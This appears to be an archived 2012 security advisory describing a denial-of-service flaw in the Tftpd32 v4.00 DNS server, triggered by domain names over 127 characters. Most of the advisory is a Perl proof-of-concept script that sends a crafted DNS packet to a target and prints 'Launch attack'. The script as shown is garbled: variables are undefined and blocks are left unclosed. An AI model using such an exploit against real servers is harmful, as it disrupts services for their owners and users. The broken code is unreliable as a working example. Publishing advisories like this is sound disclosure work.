[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Tftpd32 DNS Server Denial Of Service Vulnerability

Title: Tftpd32 DNS Server Denial Of Service Vulnerability
Software : Tftpd32

Software Version : v4.00

Vendor: http://tftpd32.jounin.net/ 

Vulnerability Published : 2012-05-26

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
Tftpd32 is a free tftp and dns server for windows, freeware tftp server.
And the dns server would bind udp port 53, but it does not validate the domain option size leading to a Denial Of Service flaw while sending more than 127 characters to it.

Solution :
The tftpd32's dns server can drop the evil request when it was detected the domain option size were longer than 127 characters.

Proof Of Concept :
use IO::Socket;
use Socket;
use Math::BigInt;
$port=shift || '53';
die "usage: $0 \$host [\$port]\n" if(!defined($host));
$target_ip = inet_aton($host);
$target = sockaddr_in($port, $target_ip);
sub dns_struct_pack($){
	$domain=shift;                  #domain
	$type="\x00\xff";               #dns_type = ANY
	$transaction_id_count=1 if($transaction_id_count > 255);
	if($domain ne '0'){
	$class="\x00\x01";                    #IN
	if($domain eq '0'){
	return $packet_struct;
print "Launch attack ... ";
socket(SOCK1, AF_INET, SOCK_DGRAM, 17);
send(SOCK1, &dns_struct_pack($crash), 0, $target);
print "Finish!\n";

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@xxxxxxxxxxxxxxxx
Dark2S Security Team/PolyU.HK